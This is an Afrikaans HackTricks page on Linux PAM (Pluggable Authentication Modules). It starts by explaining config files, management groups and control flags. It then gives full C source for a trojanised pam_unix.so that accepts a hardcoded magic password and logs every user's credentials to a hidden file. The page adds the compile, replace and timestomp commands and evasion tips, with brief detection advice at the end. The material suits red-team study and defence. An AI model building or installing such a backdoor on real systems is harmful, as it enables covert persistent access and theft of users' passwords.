PAM - Pluggable Authentication Modules
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
PAM (Pluggable Authentication Modules) dien as ân sekuriteitsmeganisme wat die identiteit van gebruikers wat probeer om toegang tot rekenaar dienste te verkry, verifieer, en hul toegang beheer op grond van verskeie kriteria. Dit is soortgelyk aan ân digitale wag, wat verseker dat slegs gemagtigde gebruikers met spesifieke dienste kan omgaan terwyl dit moontlik hul gebruik beperk om stelseloorlaai te voorkom.
Konfigurasie LĂȘers
- Solaris en UNIX-gebaseerde stelsels gebruik tipies ân sentrale konfigurasielĂȘer geleĂ« by
/etc/pam.conf. - Linux stelsels verkies ân gidsbenadering, wat diens-spesifieke konfigurasies stoor binne
/etc/pam.d. Byvoorbeeld, die konfigurasielĂȘer vir die aanmelddiens is te vind by/etc/pam.d/login.
ân Voorbeeld van ân PAM-konfigurasie vir die aanmelddiens mag soos volg lyk:
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so
PAM Bestuur Ranges
Hierdie ranges, of bestuursgroepe, sluit auth, account, password, en session in, elk verantwoordelik vir verskillende aspekte van die outentisering en sessiebestuur proses:
- Auth: Valideer gebruiker identiteit, dikwels deur vir ân wagwoord te vra.
- Account: Hanteer rekeningverifikasie, wat toestande soos groeplidmaatskap of tydsbeperkings nagaan.
- Password: Bestuur wagwoordopdaterings, insluitend kompleksiteitskontroles of voorkoming van woordeboekaanvalle.
- Session: Bestuur aksies tydens die begin of einde van ân diensessie, soos om gidse te monteer of hulpbronlimiete te stel.
PAM Module Beheer
Beheer bepaal die module se reaksie op sukses of mislukking, wat die algehele outentiseringsproses beĂŻnvloed. Hierdie sluit in:
- Required: Mislukking van ân vereiste module lei tot uiteindelike mislukking, maar slegs nadat alle daaropvolgende modules nagegaan is.
- Requisite: Onmiddellike beëindiging van die proses by mislukking.
- Sufficient: Sukses omseil die res van dieselfde reeks se kontroles tensy ân daaropvolgende module misluk.
- Optional: Lei slegs tot mislukking as dit die enigste module in die stapel is.
Voorbeeld Scenario
In ân opstelling met meerdere auth modules volg die proses ân strikte volgorde. As die pam_securetty module die aanmeldterminal ongeoorloof vind, word wortel aanmeldings geblokkeer, maar alle modules word steeds verwerk weens sy ârequiredâ status. Die pam_env stel omgewing veranderlikes in, wat moontlik help met die gebruikerservaring. Die pam_ldap en pam_unix modules werk saam om die gebruiker te outentiseer, met pam_unix wat probeer om ân voorheen verskafde wagwoord te gebruik, wat doeltreffendheid en buigsaamheid in outentiseringsmetodes verbeter.
Backdooring PAM â Hooking pam_unix.so
ân Klassieke volhardingstrik in hoĂ«waarde Linux omgewings is om die legitieme PAM biblioteek met ân trojaniseerde drop-in te vervang. Omdat elke SSH / konsole aanmelding uiteindelik pam_unix.so:pam_sm_authenticate() aanroep, is ân paar lyne C genoeg om akrediteer te vang of ân magic wagwoord omseiling te implementeer.
Kompilasie Cheatsheet
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd â immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
Compile en stealth-vervang:
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
OpSec Wenke
- Atomiese oorskrywing â skryf na ân tydelike lĂȘer en
mvdit in plek om half-geskrewe biblioteke te vermy wat SSH sou vergrendel. - Log lĂȘer plasing soos
/usr/bin/.dbus.logmeng met legitieme lessenaar artefakte. - Hou simbool uitvoer identies (
pam_sm_setcred, ens.) om PAM misgedrag te vermy.
Opsporing
- Vergelyk MD5/SHA256 van
pam_unix.soteen distro pakket. - Kontroleer vir wĂȘreld-skryfbare of ongewone eienaarskap onder
/lib/security/. auditdreël:-w /lib/security/pam_unix.so -p wa -k pam-backdoor.
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

